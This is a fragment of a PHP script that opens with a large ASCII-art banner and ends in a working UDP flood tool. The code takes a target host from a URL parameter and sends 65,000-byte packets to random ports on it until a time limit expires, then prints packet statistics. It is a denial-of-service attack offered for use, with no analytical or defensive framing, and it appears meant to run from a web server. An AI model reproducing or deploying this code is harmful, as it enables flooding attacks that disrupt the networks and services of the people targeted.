.=================================================================.
|| ( ) ( ) ( ) ( ) ||
|'================================================================'|
|| ||
|| ||
|| ||
|| ||
|| ||
|| ||
|| .::::. ||
|| .::::::::. ||
|| ::::::::::: ||
|| ':::::::::::.. ||
|| :::::::::::::::' ||
|| ':::::::::::. ||
|| .::::::::::::::' ||
|| .:::::::::::... ||
|| ::::::::::::::'' ||
|| .:::. '::::::::'':::: ||
|| .::::::::. ':::::' ':::: ||
|| .::::':::::::. ::::: '::::. ||
|| .:::::' ':::::::::. ::::: ':::. ||
|| .:::::' ':::::::::.::::: '::. ||
|| .::::'' ':::::::::::::: '::. ||
|| .::'' ':::::::::::: :::... ||
|| ..:::: ':::::::::' .:' '''' ||
|| ..''''':' ':::::.' ||
|| ||
|| ||
|| ||
|| ||
|'================================================================'|
|| ||
|| _______ _______ ___ ___ _______ ___ ___ ___ ______ _______ ||
|| | | _ | Y | _ | Y )| | _ \| _ | ||
|| |.| | |. l |. | |. 1___|. 1 / |. |. | |. |___| ||
|| `-|. |-|. _ |. | |. |___|. _ \ |. |. | |. | | ||
|| |: | |: | |: 1 |: 1 |: | \|: |: | |: 1 | ||
|| |::.| |::.|:. |::.. . |::.. . |::.| . |::.|::.| |::.. . | ||
|| `---' `--- ---`-------`-------`--- ---'`---`--- ---`------- ||
|| ||
'=================================================================='
";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "
UDP Flood
Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
echo '
';
}else{ echo '
UDP Flood
';
}
?>